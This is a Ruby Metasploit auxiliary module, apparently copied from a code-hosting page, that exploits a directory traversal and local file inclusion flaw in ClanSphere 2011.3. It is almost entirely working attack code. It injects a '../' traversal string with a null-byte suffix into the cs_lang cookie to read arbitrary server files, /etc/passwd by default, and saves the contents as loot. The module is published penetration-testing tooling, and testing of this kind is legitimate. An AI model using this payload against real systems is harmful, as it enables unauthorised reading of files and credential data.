85 lines
2.5 KiB
Ruby
85 lines
2.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits a directory traversal flaw found in Clansphere 2011.3.
|
|
The application fails to handle the cs_lang parameter properly, which can be
|
|
used to read any file outside the virtual directory.
|
|
},
|
|
'References' =>
|
|
[
|
|
['OSVDB', '86720'],
|
|
['EDB', '22181']
|
|
],
|
|
'Author' =>
|
|
[
|
|
'blkhtc0rp', #Original
|
|
'sinn3r'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DisclosureDate' => "Oct 23 2012"
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
|
|
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
|
|
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
|
|
])
|
|
end
|
|
|
|
|
|
def run_host(ip)
|
|
base = normalize_uri(target_uri.path)
|
|
|
|
peer = "#{ip}:#{rport}"
|
|
|
|
print_status("Reading '#{datastore['FILE']}'")
|
|
|
|
traverse = "../" * datastore['DEPTH']
|
|
f = datastore['FILE']
|
|
f = f[1, f.length] if f =~ /^\//
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(base, "index.php"),
|
|
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
|
|
})
|
|
|
|
if res and res.body =~ /^Fatal error\:/
|
|
print_error("Unable to read '#{datastore['FILE']}', possibily because:")
|
|
print_error("\t1. File does not exist.")
|
|
print_error("\t2. No permission.")
|
|
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")
|
|
|
|
elsif res and res.code == 200
|
|
pattern_end = " UTC +1 - Load:"
|
|
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC/).flatten[0].lstrip
|
|
fname = datastore['FILE']
|
|
p = store_loot(
|
|
'clansphere.cms',
|
|
'application/octet-stream',
|
|
ip,
|
|
data,
|
|
fname
|
|
)
|
|
|
|
vprint_line(data)
|
|
print_good("#{fname} stored as '#{p}'")
|
|
|
|
else
|
|
print_error("Fail to obtain file for some unknown reason")
|
|
end
|
|
end
|
|
end
|